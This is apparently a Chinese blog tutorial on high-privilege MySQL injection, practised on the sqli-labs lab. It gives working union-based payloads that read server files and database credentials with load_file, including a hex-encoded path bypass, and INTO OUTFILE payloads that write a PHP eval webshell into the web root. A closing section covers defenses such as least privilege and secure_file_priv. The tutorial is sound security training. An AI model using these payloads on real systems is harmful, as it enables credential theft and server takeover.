5.SQL 注入之高权限注入(下):文件读写 + 写 Shell,从数据库权限到服务器控制权

这是高权限注入系列的最后一篇:文件读写注入 。当我们拿到 MySQL 的root 权限 后,除了跨库偷数据,最核心的攻击手段就是利用数据库的文件读写权限,读取服务器敏感配置写入 Webshell 拿服务器权限

这篇博客结合 sqli-labs 靶场实操,从原理、条件、读取 / 写入函数到最终写 Shell 拿服务器,完整复盘每一个细节,既是自己的学习总结,也给入门的小伙伴一份可直接复刻的实战指南。


一、核心原理:高权限注入的终极形态 ------ 文件读写

🗣️ 大白话解释

普通注入只是 "偷数据",而高权限文件读写注入是直接 "拿服务器的钥匙":

  • 读取文件:利用 root 权限,读取服务器上的敏感配置文件(比如数据库密码、网站配置、Linux 系统配置);
  • 写入文件 :利用 root 权限,向 Web 目录写入一句话木马 ,攻击者通过木马就能直接控制服务器,实现从 "数据库权限" 到 "服务器权限" 的跨越。

🔑 核心前提(缺一不可)

高权限文件读写注入不是想做就能做,必须满足两个硬性条件:

  1. 拥有 root 等高权限 :拥有FILE权限,且secure_file_priv配置未限制读写;
  2. 知道网站绝对路径:明确要读取 / 写入的文件在服务器的具体位置。

二、关键配置:secure_file_priv(文件读写的 "通行证")

MySQL 高版本(5.7+)新增了secure_file_priv全局变量,严格限制文件读写的权限,这是文件读写注入的核心开关。

2.1 查看secure_file_priv状态

复制代码
show global variables like '%secure%';
三种配置状态(对应图片内容)
配置值 含义 能否文件读写
secure_file_priv=(空) 无限制,可读写任意路径 ✅ 可以(root 权限下)
secure_file_priv=NULL 禁止所有文件读写 ❌ 不行
secure_file_priv=指定路径 仅允许读写该路径下的文件 ❌ 只能在指定路径读写
实操验证

在 MySQL 命令行执行上述语句,会看到:

  • secure_file_priv为空 → 无限制,可进行任意路径读写;
  • secure_file_priv=具体路径 → 限制读写范围。

三、靶场实操:root 权限下的文件读取

我们继续用 sqli-labs Less-2(root 权限注入),演示读取任意文件的全流程。

3.1 读取普通文件(读取服务器本地文件)

核心函数:load_file('文件路径')

作用:读取服务器上的文件内容,通过union回显到页面。

实操步骤(对应图片)
步骤 1:读取普通文本文件(D:/d.txt
  • 路径注意:Windows 用正斜杠/,反斜杠\是转义符,必须转义为\\

  • 构造注入语句(URL 编码):

    复制代码
    id=-1%20union%20select%201,load_file('D:/d.txt'),3
  • 页面回显:成功读取d.txt内容(如图片中显示的11111)。

步骤 2:16 进制绕过路径过滤1

如果路径中的特殊字符被过滤,可将路径转 16 进制:

  • 路径d:/d.txt → 16 进制0x643a2f642e747874

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,load_file(0x643a2f642e747874),3
  • 页面成功回显文件内容(111111),完美绕过单引号 / 特殊字符过滤。

3.2 读取敏感配置文件(读取网站核心密码)

核心目标:读取网站的数据库配置文件,获取账号密码(如db-creds.inc
步骤 1:获取网站绝对路径

常见环境的绝对路径(对应图片):

系统 集成环境 网站根目录路径
Windows phpstudy phpstudy/www
Windows xampp xampp/htdocs
Windows wamp wamp/www
Linux 通用 /var/www/html
步骤 2:读取敏感配置文件

以 phpstudy 为例,读取db-creds.inc(数据库账号密码文件):

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,load_file('D:/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc'),3
  • 页面回显:直接拿到 root 账号密码($dbuser='root'; $dbpass='root';),完成敏感信息窃取。

3.3 路径获取的常见方式

如果不知道网站路径,可通过以下方式获取:

  1. 报错泄露:故意输入错误参数,让页面报错,泄露绝对路径;
  2. 遗留文件 :扫描网站目录下的遗留文件(如phpinfo.php),获取路径;
  3. 平台配置:通过搜索引擎 / 公开漏洞报告,获取常见集成环境的默认路径。

例如


四、靶场实操:root 权限下的文件写入

拿到 root 权限且secure_file_priv无限制后,可向服务器写入文件,写入一句话木马是最终目标(拿服务器权限)。

4.1 写入文件的核心函数

函数 特点 适用场景
into outfile 支持多行写入,按格式输出 写入一句话木马、多行文本
into dumpfile 仅支持单行写入,无格式 写入二进制文件(如图片)
关键限制
  • into outfile的路径必须是单引号路径,不能用 16 进制 /char 转换;
  • 写入路径必须满足secure_file_priv限制。

4.2 写入一句话木马(终极操作,拿服务器权限)

核心思路

向 Web 目录写入PHP 一句话木马,攻击者通过访问木马文件,即可远程控制服务器。

实操步骤
步骤 1:构造一句话木马
复制代码
<?php eval($_POST['cmd']);?>
步骤 2:写入文件(Web 目录)

以 phpstudy 为例,写入D:/d.txt(临时测试):

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/d.txt'
  • 页面执行成功,d.txt被写入木马代码。

步骤 3:写入 Web 目录(实战)

写入网站 Web 根目录的shell.php

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/phpstudy_pro/WWW/shell.php'
  • 访问http://localhost/sqli-labs-master/shell.php,通过 POST 参数cmd执行系统命令,成功拿到服务器权限

或者写入几句数字和字符串到目标文件:

注意: MySQL 语法要求:LIMIT 必须放在 INTO OUTFILE 之前。 这里直接删除

复制代码
id=-1 union select 1,'mc',3 into outfile 'D:/d.txt'

写入成功


五、知识点归纳与避坑(核心易错点)

5.1 路径易错点(必看!)

  • Windows 路径 :必须用/\是转义符,错误写法\d:\d.txt,正确写法d:/d.txtd:\\d.txt
  • Linux 路径 :直接用/,如/var/www/html/conf.php

5.2 函数使用区别

操作 推荐函数 路径要求
读取文件 load_file() 支持 16 进制 / 单引号
写入木马 into outfile 必须单引号路径
写入二进制 into dumpfile 单行,无格式

5.3 高权限注入危害总结

操作 危害
读取文件 窃取数据库密码、网站配置、系统敏感文件
写入木马 远程控制服务器,执行系统命令、上传下载文件
跨库注入 窃取同服务器所有网站数据

六、企业级防御方案(彻底杜绝高权限注入)

6.1 核心防御:最小权限原则

  • 绝对禁止 Web 应用使用 root 账号连接 MySQL;
  • 给每个 Web 应用创建专用低权限账号 ,仅授予SELECT/INSERT/UPDATE/DELETE权限,不给 FILE 权限

6.2 配置加固

  • 严格设置secure_file_priv

    ini

    复制代码
    secure_file_priv=NULL  # 禁止文件读写
    # 或指定安全路径
    secure_file_priv=/var/mysql/data/
  • 隐藏错误信息,避免泄露网站绝对路径。

6.3 代码层面

  • 使用参数化查询(PDO/MySQLi),杜绝 SQL 拼接;
  • 过滤用户输入中的特殊字符(union/load_file/into等)。

6.4 服务器层面

  • 严格限制 Web 目录的写入权限,禁止 Web 目录执行脚本;
  • 定期审计mysql.user表,删除高危权限用户。

七、学习复盘(写给自己,也给入门的你)

这是高权限注入系列的最后一篇,至此我们完整掌握了 SQL 注入的全流程:

  1. 普通注入:判断注入→猜列数→回显位→脱库(偷当前网站数据);
  2. 高权限跨库注入:root 权限→枚举所有库→跨库脱库(偷同服务器所有网站数据);
  3. 高权限文件读写注入:读取敏感文件→写入 Webshell(从数据库权限到服务器权限)。

高权限注入的核心是权限 :root 权限是 MySQL 的最高权限,拥有它就等于拥有了整个数据库服务器的控制权。而防御的核心,就是最小权限原则------ 不给 Web 应用 root 权限,不给 FILE 权限,从根源上杜绝文件读写注入。

相关推荐
见青..6 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道7 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你11 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000011 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你13 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000001 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全